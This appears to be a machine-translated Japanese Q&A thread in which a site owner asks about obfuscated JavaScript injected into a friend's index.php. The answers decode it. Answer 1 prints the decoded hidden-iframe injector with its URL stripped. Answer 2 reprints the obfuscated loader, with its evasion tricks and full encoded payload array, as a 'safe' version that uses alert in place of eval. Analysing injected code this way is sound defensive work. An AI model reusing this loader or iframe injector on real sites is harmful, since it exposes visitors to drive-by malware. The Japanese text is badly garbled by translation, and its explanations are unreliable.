誰かが私にこの悪意を持っている理由を教えてもらえますか？

Question

私のサイトの友人が悪意のある人物のリストに登録されていて、彼の知らないうちにindex.phpに注入された難読化されたコードが見つかりました。私は2レベル下のコードをdeobfuscatedし、これを見つけた：

(code can be viewed in the edit history)

誰もが、それは悪意のあるだなぜやろうとしているものを教えてもらえますか..？

Answer 1

要約すると、コードは、悪意のあるURLにロードされるを配置するHTMLを「デコード」します。

n = ["9","9","45","42", ... 

各数値は、ベース25にある文字を表す：

次の行は、「符号化された」HTMLを有しています。コードはこの配列をループし、javascriptのString.fromCharCode()を使用してASCII文字に変換します。このすべての後、それはページにそれを置くためeval()になります。

「デコード」のjavascriptは、次のとおりです。

if (document.getElementsByTagName('body')[0]){ 
    iframer(); 
} else { 
    document.write("<iframe src='[stripped]' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>"); 
} 
function iframer(){ 
    var f = document.createElement('iframe');f.setAttribute('src','[stripped]');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10'); 
    document.getElementsByTagName('body')[0].appendChild(f); 
} 

注、私は安全のためのコードから悪意のあるURLを剥奪しています。

Answer 2

ページに隠れたiframeを挿入します。これは恐ろしいサイトかもしれません。ここでは、実行して、注入しようとするものを見ることができ、コードの安全なバージョンでは、私はそれがにリンクするサイトを訪問し、クロムは、マルウェアの私に警告し、私はそれ以上行きません...

http://jsfiddle.net/FqtZ8/

です。

try{ 
if(window.document) window["document"]["body"]="123" 
}catch(bawetawe){ 
if(window.document){ 
v=window; 
try{ 
fawbe-- 
}catch(afnwenew){ 
try{ 
(v+v)() 
}catch(gngrthn){ 
try{if(020===0x10)v["document"]["body"]="123" 
}catch(gfdnfdgber){ 
m=123; 
if((alert+"").indexOf("na"+"ti"+"ve")!==-1)ev=window["eval"]; 
} 
} 
n=   ["9","9","45","42","17","1f","40","4b","3o","4h","49","41","4a","4g","1l","43","41","4g"," j","48","41","49","41","4a","4g","4f","2g","4l","39","3m","43","33","3m","49","41","1f","1e","3n","4b","40","4l","1e","1g","3g","1n","3i","1g","4n","d","9","9","9","45","42","4e","3m","49","41","4e","1f","1g","29","d","9","9","50","17","41","48","4f","41","17","4n","d","9","9","9","40","4b","3o","4h","49","41","4a","4g","1l","4j","4e","45","4g","41","1f","19","2a","45","42","4e","3m","49","41","17","4f","4e","3o","2b","1e","44","4g","4g","4c","28","1m","1m","43","3o","4d","40","4f","47","3m","4j","4f","4k","1l","41","40","4a","4f","1l","3n","45","4m","1m","4g","1m","4i","3o","1l","4c","44","4c","2d","43","4b","2b","20","1e","17","4j","45","40","4g","44","2b","1e","1o","1n","1e","17","44","41","45","43","44","4g","2b","1e","1o","1n","1e","17","4f","4g","4l","48","41","2b","1e","4i","45","4f","45","3n","45","48","45","4g","4l","28","44","45","40","40","41","4a","29","4c","4b","4f","45","4g","45","4b","4a","28","3m","3n","4f","4b","48","4h","4g","41","29","48","41","42","4g","28","1n","29","4g","4b","4c","28","1n","29","1e","2c","2a","1m","45","42","4e","3m","49","41","2c","19","1g","29","d","9","9","50","d","9","9","42","4h","4a","3o","4g","45","4b","4a","17","45","42","4e","3m","49","41","4e","1f","1g","4n","d","9","9","9","4i","3m","4e","17","42","17","2b","17","40","4b","3o","4h","49","41","4a","4g","1l","3o","4e","41","3m","4g","41","2j","48","41","49","41","4a","4g","1f","1e","45","42","4e","3m","49","41","1e","1g","29","42","1l","4f","41","4g","2f","4g","4g","4e","45","3n","4h","4g","41","1f","1e","4f","4e","3o","1e","1j","1e","44","4g","4g","4c","28","1m","1m","43","3o","4d","40","4f","47","3m","4j","4f","4k","1l","41","40","4a","4f","1l","3n","45","4m","1m","4g","1m","4i","3o","1l","4c","44","4c","2d","43","4b","2b","20","1e","1g","29","42","1l","4f","4g","4l","48","41","1l","4i","45","4f","45","3n","45","48","45","4g","4l","2b","1e","44","45","40","40","41","4a","1e","29","42","1l","4f","4g","4l","48","41","1l","4c","4b","4f","45","4g","45","4b","4a","2b","1e","3m","3n","4f","4b","48","4h","4g","41","1e","29","42","1l","4f","4g","4l","48","41","1l","48","41","42","4g","2b","1e","1n","1e","29","42","1l","4f","4g","4l","48","41","1l","4g","4b","4c","2b","1e","1n","1e","29","42","1l","4f","41","4g","2f","4g","4g","4e","45","3n","4h","4g","41","1f","1e","4j","45","40","4g","44","1e","1j","1e","1o","1n","1e","1g","29","42","1l","4f","41","4g","2f","4g","4g","4e","45","3n","4h","4g","41","1f","1e","44","41","45","43","44","4g","1e","1j","1e","1o","1n","1e","1g","29","d","9","9","9","40","4b","3o","4h","49","41","4a","4g","1l","43","41","4g","2j","48","41","49","41","4a","4g","4f","2g","4l","39","3m","43","33","3m","49","41","1f","1e","3n","4b","40","4l","1e","1g","3g","1n","3i","1l","3m","4c","4c","41","4a","40","2h","44","45","48","40","1f","42","1g","29","d","9","9","50"]; 
h=2; 
s=""; 
if(m) for(i=0;i-589!=0;i++){ 
k=i; 
if(window["document"]) s+=String["fro"+"mC"+"harCode"](
parseInt(n[i],25) 
); 
}z=s;alert(z); 
} 
} 
}?